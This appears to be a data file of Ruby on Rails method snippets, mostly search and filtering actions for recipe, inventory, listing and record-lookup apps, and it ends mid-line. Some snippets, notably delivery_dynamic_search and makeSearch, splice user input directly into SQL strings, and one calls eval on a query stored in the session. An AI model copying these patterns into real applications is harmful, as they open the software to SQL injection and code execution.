"def inspections\n if !object.inspections.empty?\n custom_inspection = nil\n array = []\n # object is a DocumentField instance\n object.inspections.each do |each|\n custom_inspection = each.attributes\n custom_inspection[\"degradations\"] = {\n :foundation => each.foundation,\n :floor_assembly => each.floor_assembly,\n :floor => each.floor,\n :pillars => each.pillars,\n :exterior_walls => each.exterior_walls,\n :balcony => each.balcony,\n :interior_walls => each.interior_walls,\n :ceilings => each.ceilings,\n :roof_truss => each.roof_truss,\n :termite_damage => each.termite_damage,\n :corrosion => each.corrosion,\n :reinforcement => each.reinforcement,\n :concrete_compression => each.concrete_compression,\n :exterior_walls_rain => each.exterior_walls_rain,\n :eaves_rain => each.eaves_rain,\n :balcony_rain => each.balcony_rain,\n :interior_walls_rain => each.interior_walls_rain,\n :ceilings_rain => each.ceilings_rain,\n :roof_truss_rain => each.roof_truss_rain,\n :roof => each.roof,\n :halls => each.halls,\n }\n array.push(custom_inspection)\n end # end of each\n end # end of if !object.inspections.empty?\n return array\n end",
"def index\n\n # Grab user's diets as saved in profile and pass it into the search\n user_diets = current_user.compile_diets\n\n if params[:search_by_diet].present?\n allowed_diets_in_search = (user_diets << params[:search_by_diet]).flatten!\n else\n allowed_diets_in_search = user_diets\n end\n\n # Grab user's allergies as saved in profile and pass it into the search\n user_allergies = current_user.compile_allergies\n\n if params[:search_by_allergy].present?\n allowed_allergies_in_search = (user_allergies << params[:search_by_allergy]).flatten!\n else\n allowed_allergies_in_search = user_allergies\n end\n\n user_excluded_ingredients = current_user.compile_excluded_ingredients\n\n @results = Yummly.search(\n params[:search_by_all],\n \"maxTotalTimeInSeconds\" => params[:search_by_time],\n \"allowedCourse[]\" => params[:search_by_course],\n \"allowedAllergy[]\" => allowed_allergies_in_search,\n \"allowedDiet[]\" => allowed_diets_in_search,\n \"excludedIngredient[]\" => user_excluded_ingredients,\n maxResult: 50);\n \n\n end",
"def search(search_text, search_fields)\n IITTrackCollection.new(@ole.Search(search_text, search_fields))\n end",
"def search(search_text, search_fields)\n IITTrackCollection.new(@ole.Search(search_text, search_fields))\n end",
"def index\n if params[:search] != nil\n #Get search criteria from params object\n @tracking ||= params[:search][:tracking]\n @item_code ||= params[:search][:item_code]\n @description ||= params[:search][:description]\n @serial_number ||= params[:search][:serial_number]\n @warehouse ||= params[:search][:warehouse]\n @warehouse_obj ||= InventoryWarehouse.find_by_description(@warehouse)\n @location ||= params[:search][:location]\n @manufacturer ||= params[:search][:manufacturer]\n #Create and set the scope conditions\n @inventory_items = InventoryItem.scoped({})\n @inventory_items = @inventory_items.conditions \"inventory_items.id = ?\", @tracking unless @tracking.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.item_code like ?\", @item_code+\"%\" unless @item_code.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.description like ?\", \"%\"+@description+\"%\" unless @description.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.serial_number = ?\", @serial_number unless @serial_number.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.warehouse = ?\", @warehouse_obj.code unless @warehouse_obj.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.location = ?\", @location unless @location.blank?\n @inventory_items = @inventory_items.conditions \"inventory_items.manufacturer = ?\", @manufacturer unless @manufacturer.blank?\n else\n @inventory_items = []\n end\n @locations = InventoryItem.find(:all, :select => 'DISTINCT location', :order => 'location ASC').map { |x| x.location }\n @warehouses = InventoryWarehouse.all.map { |x| x.description }.sort\n @manufacturers = InventoryItem.find(:all, :select => 'DISTINCT manufacturer', :order => 'manufacturer ASC').map { |x| x.manufacturer }\n respond_to do |format|\n format.html { render :html => @inventory_items } # index.html.haml\n format.xml { render :xml => @inventory_items }\n format.xls #Respond as Excel Doc\n end\n end",
"def index\n \n @show_all_features = true\n if params.has_key?(:search)\n @search = params[:search]\n #problem_this_solves, :mandatory_requirements, :technical_notes,extra_notes\n @features_searched = AppFeatureRequest.joins(:app_feature_comment).where(\"problem_this_solves like ? \n or mandatory_requirements like ? or technical_notes like ? or extra_notes like ? or name like ? \n or app_feature_comments.details like ?\", \"%#{@search}%\", \"%#{@search}%\", \"%#{@search}%\", \"%#{@search}%\", \n \"%#{@search}%\", \"%#{@search}%\")\n .paginate(:page => params[:page]) #.all\n @show_all_features = false\n else\n @show_all_features = true\n show_all_features_and_errors\n end\n\n @display_level = AppCommentDisplayLevel.all\n end",
"def ingredientsearch\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.all.find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.all.find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end \n return @recipes\n end",
"def search(criteria = {})\r\n \r\n end",
"def do_search(params={})\r\n records = Government.where('1=1')\r\n select = ['governments.id as id', 'governments.name as name', 'governments.first_name as first_name', 'governments.last_name as last_name', 'governments.title as title', 'governments.office as office', 'governments.government_type_id as government_type_id', 'governments.chamber_id as chamber_id', 'governments.logo as logo', 'governments.social_score as social_score', 'governments.participation_rate as participation_rate', 'governments.district as district', 'governments.data1 as data1', 'governments.data2 as data2', 'governments.website as website', 'governments.wikipedia as wikipedia']\r\n\r\n #If the user_id is specified, load the vote data\r\n if params.key? :user_id\r\n select << 'government_supports.support_type as support_type'\r\n records = records.joins(\"LEFT OUTER JOIN government_supports ON governments.id=government_supports.government_id AND user_id=#{params[:user_id].to_i}\")\r\n end\r\n\r\n if params.key? :text\r\n #Get a list of government ids that match the search text\r\n records_to_include = Government.search params[:text].strip, :star => true, :max_matches => 50\r\n government_ids = records_to_include.inject([]) do |r, element|\r\n r << element.id\r\n r\r\n end\r\n records = records.where(\"governments.id in (?)\", government_ids)\r\n elsif params.key? :vote\r\n vote = params[:vote].strip.upcase\r\n if params.key? :user_id\r\n case vote\r\n when \"THUMBSUP\"\r\n records = records.where(\"support_type = 1\")\r\n when \"THUMBSDOWN\"\r\n records = records.where(\"support_type = 0\")\r\n when \"NEUTRAL\"\r\n records = records.where(\"support_type = 2\")\r\n when \"VOTE\"\r\n records = records.where(\"support_type >= 0\")\r\n when \"NOVOTE\"\r\n records = records.where(\"support_type IS NULL OR support_type = -1\")\r\n end\r\n elsif vote != \"ALL\"\r\n records = records.where(\"0 > 1\")\r\n end\r\n end\r\n\r\n if params.key? :starts_with\r\n records = records.where(\"name like ?\", \"#{params[:starts_with].upcase}%\")\r\n end\r\n\r\n if params.key? :state\r\n records = records.where(\"state_id = ?\", params[:state].to_i)\r\n end\r\n\r\n\r\n if params.key? :branch\r\n case params[:branch].downcase\r\n when \"legislative\"\r\n records = records.where(\"government_type_id = 3\")\r\n when \"executive\"\r\n records = records.where(\"government_type_id = 2\")\r\n when \"agency\"\r\n records = records.where(\"government_type_id = 1\")\r\n end\r\n end\r\n\r\n\r\n if params.key? :social_score\r\n records = records.where(\"social_score >= ?\", params[:social_score].to_i)\r\n end\r\n\r\n\r\n if params.key? :participation_rate\r\n records = records.where(\"participation_rate >= ?\", params[:participation_rate].to_i)\r\n end\r\n\r\n records = records.select(select.join(\", \"))\r\n\r\n if params.key? :sort\r\n sort = params[:sort].downcase\r\n case sort\r\n when 'name_asc'\r\n records = records.order('governments.name asc')\r\n when 'name_desc'\r\n records = records.order('governments.name desc')\r\n when 'district_asc'\r\n records = records.order('governments.district asc')\r\n when 'district_desc'\r\n records = records.order('governments.district desc')\r\n when 'social_asc'\r\n records = records.order('governments.social_score asc, governments.participation_rate desc, governments.default_order asc')\r\n when 'social_desc'\r\n records = records.order('governments.social_score desc, governments.participation_rate desc, governments.default_order asc')\r\n when 'participation_asc'\r\n records = records.order('governments.participation_rate asc, governments.social_score desc, governments.default_order asc')\r\n when 'participation_desc'\r\n records = records.order('governments.participation_rate desc, governments.social_score desc, governments.default_order asc')\r\n when 'votedate_asc'\r\n if params.key? :user_id\r\n records = records.order('government_supports.updated_at asc, governments.social_score desc, governments.participation_rate desc')\r\n end\r\n when 'votedate_desc'\r\n if params.key? :user_id\r\n records = records.order('government_supports.updated_at desc, governments.social_score desc, governments.participation_rate desc')\r\n end\r\n when 'default_asc'\r\n records = records.order('governments.default_order asc, governments.name asc')\r\n when 'default_desc'\r\n records = records.order('governments.default_order desc, governments.name asc')\r\n else\r\n records = records.order('governments.name asc')\r\n end\r\n end\r\n\r\n return records\r\n end",
"def search_definition(options={})\n options = options.reverse_merge(decay: true).with_indifferent_access\n query = options[:query]\n\n # Prefill and set the filters (top-level `filter` and `facet_filter` elements)\n #\n __set_filters = lambda do |key, f|\n @search_definition[:filter][:and] ||= []\n @search_definition[:filter][:and] |= [f]\n\n if @search_definition[:facets][key.to_sym]\n @search_definition[:facets][key.to_sym][:facet_filter][:and] ||= []\n @search_definition[:facets][key.to_sym][:facet_filter][:and] |= [f]\n end\n end\n\n @search_definition = {\n query: {bool: {must: [], should: []}},\n highlight: {\n pre_tags: ['<mark>'],\n post_tags: ['</mark>'],\n fields: {\n 'name'=>{number_of_fragments: 0},\n 'note'=>{fragment_size: 50},\n 'page.title'=>{number_of_fragments: 0},\n 'page.content'=>{fragment_size: 50}\n }\n },\n filter: {},\n facets: {\n keywords: {\n terms: {\n field: 'keywords',\n all_terms: true,\n size: 10\n },\n facet_filter: {}\n },\n folder_id: {\n terms: {\n field: 'folder_id'\n },\n facet_filter: {}\n },\n source: {\n terms: {\n field: 'source'\n },\n facet_filter: {}\n },\n site_name: {\n terms: {\n field: 'page.site_name'\n },\n facet_filter: {}\n },\n saved_by: {\n terms: {\n field: 'saved_by'\n },\n facet_filter: {}\n }\n }\n }\n\n if query\n @search_definition[:query][:bool][:must] << {\n multi_match: {\n query: query,\n fields: ['name^10', 'note^2', 'keywords^5', 'page.title^10', 'page.content'],\n operator: 'and'\n }\n }\n @search_definition[:suggest] = {\n text: query,\n suggest_title: {\n term: {\n field: 'page.title.tokenized',\n suggest_mode: 'always'\n }\n },\n suggest_body: {\n term: {\n field: 'page.content.tokenized',\n suggest_mode: 'always'\n }\n }\n }\n else\n @search_definition[:sort] = {saved_at: 'desc'}\n end\n\n if options[:user_id].present?\n @search_definition[:query][:bool][:should] << {\n term: {user_id: options[:user_id]}\n }\n @search_definition[:query][:bool][:minimum_should_match] = 1\n end\n\n if options[:folder_ids]\n @search_definition[:query][:bool][:should] << {\n terms: {\n folder_id: options[:folder_ids],\n minimum_should_match: 1\n }\n }\n @search_definition[:query][:bool][:minimum_should_match] = 1\n end\n\n if options[:folder_id].present?\n f = {term: {folder_id: options[:folder_id]}}\n __set_filters.(:keywords, f)\n __set_filters.(:source, f)\n __set_filters.(:site_name, f)\n __set_filters.(:since, f)\n __set_filters.(:saved_by, f)\n end\n\n if options[:source].present?\n f = {term: {source: options[:source]}}\n __set_filters.(:folder_id, f)\n __set_filters.(:keywords, f)\n __set_filters.(:site_name, f)\n __set_filters.(:since, f)\n __set_filters.(:saved_by, f)\n end\n\n if options[:site_name].present?\n f = {term: {'page.site_name' => options[:site_name]}}\n __set_filters.(:folder_id, f)\n __set_filters.(:keywords, f)\n __set_filters.(:source, f)\n __set_filters.(:since, f)\n __set_filters.(:saved_by, f)\n end\n\n if options[:since].present?\n f = {range: {saved_at: {gte: Time.zone.parse(options[:since].to_s)}}}\n __set_filters.(:folder_id, f)\n __set_filters.(:keywords, f)\n __set_filters.(:source, f)\n __set_filters.(:site_name, f)\n __set_filters.(:saved_by, f)\n end\n\n if options[:saved_by].present?\n f = {term: {saved_by: options[:saved_by]}}\n __set_filters.(:folder_id, f)\n __set_filters.(:keywords, f)\n __set_filters.(:source, f)\n __set_filters.(:site_name, f)\n __set_filters.(:since, f)\n end\n\n if options[:keywords].present?\n f = {term: {keywords: options[:keywords]}}\n __set_filters.(:folder_id, f)\n __set_filters.(:source, f)\n __set_filters.(:site_name, f)\n __set_filters.(:since, f)\n __set_filters.(:saved_by, f)\n end\n\n if options[:sort].present?\n @search_definition[:sort] = {options[:sort] => 'desc'}\n @search_definition[:track_scores] = true\n end\n\n if options[:decay] and query.present?\n @search_definition[:query] = {\n function_score: {\n functions: [{\n gauss: {\n creation_epoch: {\n origin: Time.zone.now.to_i,\n scale: CONFIG[:link][:decay]\n }\n }\n }],\n query: @search_definition[:query],\n score_mode: 'multiply'\n }\n }\n end\n\n @search_definition\n end",
"def search *args, &block\n if (args && args.any?) || block_given?\n @search = Lolita::Configuration::Search.new(self.dbi,*args,&block)\n add_observer(@search)\n end\n @search\n end",
"def search_search_text\n query\n .where(\"decidim_opinions_opinions.title ILIKE ?\", \"%#{search_text}%\")\n .or(query.where(\"decidim_opinions_opinions.body ILIKE ?\", \"%#{search_text}%\"))\n end",
"def query_for_finances\n base = \"http://www.opensecrets.org/api\"\n header = {\n \"X-API-Key\" => open_secrets_key,\n \"Accept\" => \"application/json\",\n }\n CongressMember.all.each do |cm|\n if cm.crp_id\n options = {\n :apikey => open_secrets_key,\n :output => \"json\",\n :method => \"candIndustry\",\n :cid => cm.crp_id,\n }\n if cm.donations.size < 10\n response = JSON.parse(Faraday.get(base, options, header).body)\n response[\"response\"][\"industries\"][\"industry\"].each do |ind|\n industry_name = ind[\"@attributes\"][\"industry_name\"]\n total = ind[\"@attributes\"][\"total\"]\n industry = Industry.find_or_create_by(:name => industry_name)\n Donation.create(congress_member: cm, amount: total, industry: industry)\n end\n end\n end\n end\nend",
"def naked_apts_listings(company_id, search_params)\n\t\tsearch_params[:has_primary_agent] = 1\n\t\tsearch_params[:has_fee_exclusive] = 1\n\t\t# search_params[:is_hide_on_website] = 1\n\t\tsearch_params[:has_naked_apartment] = 1\n\t\tsearch_params[:has_hide_from_agent] = 1\n\t\tpull_data(company_id, search_params)\n\tend",
"def search_query(query, delegate = nil)\n delegate ||= Evidence.new\n sidekick.search(query, delegate)\n end",
"def search\n return Fast.debug(&method(:execute_search)) if debug_mode?\n\n execute_search do |file, results|\n results.each do |result|\n binding.pry if @pry # rubocop:disable Lint/Debugger\n report(file, result)\n end\n end\n end",
"def find_listings(params, listings_per_page, filter_params, includes)\n Maybe(@current_community.categories.find_by_url_or_id(params[:category])).each do |category|\n filter_params[:categories] = category.own_and_subcategory_ids\n @selected_category = category\n end\n\n filter_params[:search] = params[:q] if params[:q]\n filter_params[:custom_dropdown_field_options] = HomepageController.dropdown_field_options_for_search(params)\n filter_params[:custom_checkbox_field_options] = HomepageController.checkbox_field_options_for_search(params)\n\n filter_params[:price_cents] = filter_range(params[:price_min], params[:price_max])\n\n p = HomepageController.numeric_filter_params(params)\n p = HomepageController.parse_numeric_filter_params(p)\n p = HomepageController.group_to_ranges(p)\n numeric_search_params = HomepageController.filter_unnecessary(p, @current_community.custom_numeric_fields)\n\n filter_params = filter_params.reject {\n |_, value| (value == \"all\" || value == [\"all\"])\n } # all means the filter doesn't need to be included\n\n checkboxes = filter_params[:custom_checkbox_field_options].map { |checkbox_field| checkbox_field.merge(type: :selection_group, operator: :and) }\n dropdowns = filter_params[:custom_dropdown_field_options].map { |dropdown_field| dropdown_field.merge(type: :selection_group, operator: :or) }\n numbers = numeric_search_params.map { |numeric| numeric.merge(type: :numeric_range) }\n\n # wah: restricted marketplace or open marketplace\n availability_for_sphinx = {}\n if @restrictedMarketplace\n availability = [\"trusted\", \"all\"]\n availability_for_sphinx[:availability_restricted_marketplace] = true\n @pooltool_specific_page = true\n\n elsif @marketplace_with_trusted_devs\n availability = [\"intern\", \"trusted\"]\n availability_for_sphinx[:availability_not_intern] = true\n @pooltool_specific_page = true\n else\n availability = [\"all\", nil]\n availability_for_sphinx[:availability_marketplace] = true\n end\n\n search = {\n # Add listing_id\n categories: filter_params[:categories],\n listing_shape_ids: Array(filter_params[:listing_shape]),\n price_cents: filter_params[:price_cents],\n keywords: filter_params[:search],\n fields: checkboxes.concat(dropdowns).concat(numbers),\n per_page: listings_per_page,\n page: Maybe(params)[:page].to_i.map { |n| n > 0 ? n : 1 }.or_else(1),\n price_min: params[:price_min],\n price_max: params[:price_max],\n locale: I18n.locale,\n include_closed: false,\n availability: availability, # wah_new\n }\n\n # wah: Add availability for sphinx search\n search.merge!(availability_for_sphinx)\n\n\n raise_errors = Rails.env.development?\n\n res = ListingIndexService::API::Api.listings.search(\n community_id: @current_community.id,\n search: search,\n includes: includes,\n engine: search_engine,\n raise_errors: raise_errors\n )\n\n # wah: Filter results based on marketplace type\n listings_restrictedMarketplace = []\n if @restrictedMarketplace\n # get all listings which should be shown - at the moment only external listings\n # remove comment from allowed_authors = ... to add also internal listings\n if @current_user # if logged in, then show devices from followers.\n allowed_authors = @current_user.get_company.followers.as_json\n allowed_authors << @current_user.get_company.as_json\n else # show devices from no one...\n allowed_authors = []\n end\n\n allowed_authors.each do |follower|\n res.data[:listings].each do |search_listing|\n if search_listing[:author][:id] == follower[\"id\"]\n listings_restrictedMarketplace << search_listing\n end\n end\n end\n\n res.data[:listings] = listings_restrictedMarketplace\n res.data[:count] = listings_restrictedMarketplace.count\n else\n end\n\n pushBackListingsWithoutImage(res) if res.data\n\n return_ = res.and_then { |res|\n Result::Success.new(\n ListingIndexViewUtils.to_struct(\n result: res,\n includes: includes,\n page: search[:page],\n per_page: search[:per_page]\n ))\n }\n\n # log search as rentog event (but only if there is really a search or filter)\n if filter_params[:custom_dropdown_field_options] != [] ||\n filter_params[:custom_checkbox_field_options] != [] ||\n filter_params[:price_cents] != nil\n\n person_id_ = @current_user.id if @current_user\n visitor_id_ = @visitor.id if @visitor\n ev = RentogEvent.new(person_id: person_id_, visitor_id: visitor_id_, event_name: \"marketplace_search_or_filter\", event_details: filter_params.to_s, event_result: res.data[:count], send_to_admins: false)\n ev.save\n end\n\n return_\n\n end",
"def index\n\n @household_items = HouseholdItem.all\n\n # Search Function\n if params[:search]\n # for non postgresql\n if @household_items = HouseholdItem.where(\"title iLIKE ? OR genre iLIKE ? OR city iLIKE ? OR state iLIKE ? OR genre iLIKE ? \",\"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n # for postgresql change the LIKE to iLIKE\n # byebug\n # where(\"title iLIKE ? OR genre iLIKE ? OR author iLIKE ?\", \"%#{search}%\", \"%#{search}%\", \"%#{search}%\") \n else\n @message = \"We can not find your request !\" \n @household_items = HouseholdItem.all\n # byebug\n end\n end\n\n end",
"def execute_with_instrumentation!\n ActiveSupport::Notifications.instrument \"search.elasticsearch\",\n name: 'Search',\n klass: (self.klass.is_a?(Elasticsearch::Model::Proxy::ClassMethodsProxy) ? self.klass.target.to_s : self.klass.to_s),\n search: self.definition do\n execute_without_instrumentation!\n end\n end",
"def show\n \n @lou_inspections = LouInspection.find(params[:id])\n @businesses = @lou_inspection.lou_violation\n @business = @lou_inspection.business\n \n end",
"def index\n if current_user.admin == \"yes\"\n\t\n \t# if params[:user][:id]\n \t# @incidents = Incident.where(\"user_id = ?\", params[:user][:id])\n \t# @users = User.all\n \t# else\t \n # Bens code\n # @incidents = Incident.all(:order => 'id DESC')\n \n \n # If an admin logs in\n # Fiters through each department\n if params[:search]\n @incidents = Incident.paginate(:page => params[:page], :per_page => 10, :order => 'id DESC').find(:all, :conditions => ['department LIKE ?', \"%#{params[:search]}%\"], :joins => [:user => :profile])\n # Search through specific column\n elsif params[:searchInvoice]\n @incidents = Incident.paginate(:page => params[:page], :per_page => 10, :order => 'id DESC').find(:all, :conditions => ['report_nr LIKE ?', \"%#{params[:searchInvoice]}%\"])\n # Display all with pagination\n else\n @incidents = Incident.paginate(:page => params[:page], :per_page => 10, :order => 'id DESC')\n end\n\t\n \n \n # If not an admin\n \telse\n @incidents = current_user.incidents.paginate(:page => params[:page], :per_page => 10, :order => 'id DESC')\n @users = User.all\n \n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @incidents }\n end\n end",
"def delivery_dynamic_search(farm_code, puc_code, commodity_code, rmt_variety_code, season_code)\n @farm_code = nil\n @puc_code = nil\n @commodity_code = nil\n @rmt_variety_code = nil\n @season_code = nil\n\n if (farm_code.to_s.strip()==\"\" || farm_code.upcase.index(\"SELECT A VALUE\")!=nil || farm_code==nil || farm_code.to_s == \"\")\n @farm_code = \"\"\n else\n @farm_code = farm_code\n end\n\n if (puc_code.to_s.strip()==\"\" || puc_code.upcase.index(\"SELECT A VALUE\")!=nil || puc_code==nil || puc_code.to_s == \"\")\n @puc_code = \"\"\n else\n @puc_code = puc_code\n end\n\n if (commodity_code.to_s.strip()==\"\" || commodity_code.upcase.index(\"SELECT A VALUE\")!=nil || commodity_code==nil || commodity_code.to_s == \"\")\n @commodity_code = \"\"\n else\n @commodity_code = commodity_code\n end\n\n if (rmt_variety_code.to_s.strip()==\"\" || rmt_variety_code.upcase.index(\"SELECT A VALUE\")!=nil || rmt_variety_code==nil || rmt_variety_code.to_s == \"\")\n @rmt_variety_code = \"\"\n else\n @rmt_variety_code = rmt_variety_code\n end\n\n if (season_code.to_s.strip()==\"\" || season_code.upcase.index(\"SELECT A VALUE\")!=nil || season_code.to_s == \"\")\n @season_code = \"\"\n else\n @season_code = season_code\n end\n\n conditions = \"\"\n\n if @farm_code!=\"\"\n conditions += \"farm_code = '#{@farm_code}'\"\n end\n if @puc_code!=\"\"\n if conditions!=\"\"\n conditions +=\" and puc_code = '#{@puc_code}'\"\n else\n conditions += \"puc_code = '#{@puc_code}'\"\n end\n end\n if @commodity_code!=\"\"\n if conditions!=\"\"\n conditions += \" and commodity_code = '#{@commodity_code}'\"\n else\n conditions +=\"commodity_code = '#{@commodity_code}'\"\n end\n end\n if @rmt_variety_code!=\"\"\n if conditions!=\"\"\n conditions += \" and rmt_variety_code = '#{@rmt_variety_code}'\"\n else\n conditions +=\"rmt_variety_code = '#{@rmt_variety_code}'\"\n end\n end\n if @season_code!=\"\"\n if conditions!=\"\"\n conditions += \" and season_code = '#{@season_code}'\"\n else\n conditions +=\"season_code = '#{@season_code}'\"\n end\n end\n if conditions!=\"\"\n conditions += \" and date_delivered > '#{session[:date_from]}' and date_delivered < '#{session[:date_to]}'\"\n else\n conditions += \"date_delivered > '#{session[:date_from]}' and date_delivered < '#{session[:date_to]}'\"\n end\n\n list_query = '@deliveries = Delivery.find(:all,\n :conditions=>conditions)'\n\n session[:query] = list_query\n @deliveries = eval(session[:query]) if !@deliveries\n return @deliveries\n end",
"def search_data\n\t\t{\n\t\t\tcaseID: caseID,\n attackID: attackID,\n\t\t\turl: url,\n\t\t\tregistrationDate: registrationDate,\n domain: domain,\n functionality: functionality,\n status: status\n\t\t}\n\tend",
"def search\n if params[:search].present?\n @residentials = Residential.search(params[:search])\n else\n @residentials = Residential.all\n end\n end",
"def ingredient_search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IngredientsApi.ingredient_search ...'\n end\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] > 900\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling IngredientsApi.ingredient_search, must be smaller than or equal to 900.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling IngredientsApi.ingredient_search, must be greater than or equal to 0.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'number'].nil? && opts[:'number'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"number\"]\" when calling IngredientsApi.ingredient_search, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'number'].nil? && opts[:'number'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"number\"]\" when calling IngredientsApi.ingredient_search, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"en\", \"de\"]\n if @api_client.config.client_side_validation && opts[:'language'] && !allowable_values.include?(opts[:'language'])\n fail ArgumentError, \"invalid value for \\\"language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/food/ingredients/search'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'query'] = opts[:'query'] if !opts[:'query'].nil?\n query_params[:'addChildren'] = opts[:'add_children'] if !opts[:'add_children'].nil?\n query_params[:'minProteinPercent'] = opts[:'min_protein_percent'] if !opts[:'min_protein_percent'].nil?\n query_params[:'maxProteinPercent'] = opts[:'max_protein_percent'] if !opts[:'max_protein_percent'].nil?\n query_params[:'minFatPercent'] = opts[:'min_fat_percent'] if !opts[:'min_fat_percent'].nil?\n query_params[:'maxFatPercent'] = opts[:'max_fat_percent'] if !opts[:'max_fat_percent'].nil?\n query_params[:'minCarbsPercent'] = opts[:'min_carbs_percent'] if !opts[:'min_carbs_percent'].nil?\n query_params[:'maxCarbsPercent'] = opts[:'max_carbs_percent'] if !opts[:'max_carbs_percent'].nil?\n query_params[:'metaInformation'] = opts[:'meta_information'] if !opts[:'meta_information'].nil?\n query_params[:'intolerances'] = opts[:'intolerances'] if !opts[:'intolerances'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'sortDirection'] = opts[:'sort_direction'] if !opts[:'sort_direction'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'number'] = opts[:'number'] if !opts[:'number'].nil?\n query_params[:'language'] = opts[:'language'] if !opts[:'language'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IngredientSearch200Response'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['apiKeyScheme']\n\n new_options = opts.merge(\n :operation => :\"IngredientsApi.ingredient_search\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IngredientsApi#ingredient_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def auto_complete_for_filter_expense_pending_envelope\r\n project_ids = (@current_user.supervised_projects.nil? || @current_user.supervised_projects.empty? ) ? '' : (@current_user.supervised_projects.collect {|p| p.id}.flatten)\r\n @items=BulkExpense.find(:all,:include=> [:user, :project] ,\r\n :conditions=>['expenses.envelope like ? and users.enterprise_id=? and (users.supervisor_id=? OR projects.id IN (?))',\"%#{params[:crt_envelope]}%\",@enterprise.id,@current_user.id, project_ids]) \r\n render :inline => '<%= auto_complete_result(@items, \"envelope\") %>'\r\n end",
"def search!(\n query, case_sensitive: false, whole_sentence: true,\n limit: 10, skip: 0, sentence_limit: 80\n )\n results = search(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n limit: limit,\n skip: skip\n )\n\n results.each do |doc|\n doc.search!(\n query,\n case_sensitive: case_sensitive,\n whole_sentence: whole_sentence,\n sentence_limit: sentence_limit\n )\n yield(doc) if block_given?\n end\n\n results\n end",
"def search\t\t\n\t\t @query = params[:query]\n\t\t @storecunsumptions = Storecunsumption.search @query, :page => params[:page], :per_page => 10\t\t\n\tend",
"def run_search\n agent = Mechanize.new\n agent.get('http://www.indeed.com/')\n fill_out_search_form(agent)\n search_and_create_job_application(agent)\n end",
"def makeSearch #:doc:\n # beginning of sql query string\n sql = @select_part1 + \" \" + @select_part2\n\n begin\n @hash_in_where = \"\"\n \n if @context_hash != nil\n \n # If 'user' parameter given, only files owned by 'user' can be in search results.\n only_these_users_in_where = \"\"\n if @only_these_users != nil\n only_these_users_in_where = \" users.username IN (\"\n users = @only_these_users.split(' ')\n users.each_with_index do |x, i|\n if i == 0\n only_these_users_in_where += \"'\" + x + \"'\"\n else\n only_these_users_in_where += ', ' + \"'\" + x + \"'\"\n end\n end\n \n only_these_users_in_where += \") AND \"\n end\n \n \n # Find devfiles that have queried context_hash\n devfiles = Devfile.find_by_sql(\"SELECT devfiles.id as devfile_id, devfiles.device_id, metadatas.devfile_id, metadatas.metadata_type_id,\n metadatas.value, metadata_types.id, metadata_types.name,\n devices.id, devices.user_id, users.id, users.username \n FROM devfiles, metadatas, metadata_types, devices, users\n WHERE metadatas.value = '\"+@context_hash+\"' AND\n metadata_types.name = 'context_hash' AND\n devfiles.id = metadatas.devfile_id AND\n devices.id = devfiles.device_id AND\n devices.user_id = users.id AND #{only_these_users_in_where}\n metadatas.metadata_type_id = metadata_types.id\")\n \n if devfiles != nil && devfiles.size > 0\n # Add id:s of devfiles that will be included into results, because these devfiles belong to queried context\n @hash_in_where = \" OR devfiles.id IN ( \"\n \n @devfiles_in_context = Array.new\n \n devfiles.each_with_index do |x, i|\n @devfiles_in_context.push(x.devfile_id)\n if i == 0\n @hash_in_where += x.devfile_id.to_s\n else\n @hash_in_where += \", \" + x.devfile_id.to_s\n end \n end\n @hash_in_where += \" )\"\n end\n end\n puts @hash_in_where\n available_files_only_in_where = \"\"\n 